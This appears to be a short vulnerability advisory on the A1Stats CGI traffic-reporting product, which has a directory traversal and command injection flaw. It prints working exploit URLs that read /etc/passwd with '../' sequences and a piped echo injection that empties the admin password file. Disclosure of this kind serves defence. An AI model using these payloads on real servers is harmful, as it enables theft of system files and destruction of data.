A1Stats is a CGI product by Drummon Miles used to report on a website's visitor traffic.

Versions of this product fail to properly validate user-supplied input submitted as querystrings to the A1Stats script.

An attacker can compose a long path including '/../' sequences, and submit it as a file request to the product's built-in webserver. 'dot dot' sequences will not be filtered from the path, permitting the attacker to specify files outside the directory tree normally available to users.

This can permit disclosure of confidential data and sensitive system files which, if properly exploited, could lead to further compromises of the host's security.

Additionally, by appending a properly formatted echo command argumented by a filename writable by the webserver, this flaw allows the attacker to overwrite this file with A1Stats' output.

- 漏洞利用

(courtesy <neme-dhc@hushmail.com>):

To test these vulnerabilities, try the following.
www.server.com/cgi-bin/a1stats/a1disp3.cgi?../../../../../../../etc/passwd

www.server.com/cgi-bin/a1stats/a1disp4.cgi?../../../../../../../etc/passwd

These two will give you /etc/passwd.

www.server.com/cgi-bin/a1stats/a1disp2.cgi?../../../../../../../etc/passwd

This will also give you /etc/passwd but it will
show it in a very mangled manner as the CGI adds
HTML tags to what it thinks is a file it created
itself.

One can also open a file and wreck its contents.

http://localhost/cgi-bin/a1stats/a1disp.cgi?|echo%20>a1admin.txt|

will empty a1admin.txt. a1admin.txt contains the
password to change settings of the CGI. When this
file is removed, no one can log in anymore.

- 解决方案

The current version of A1Stats is not vulnerable.
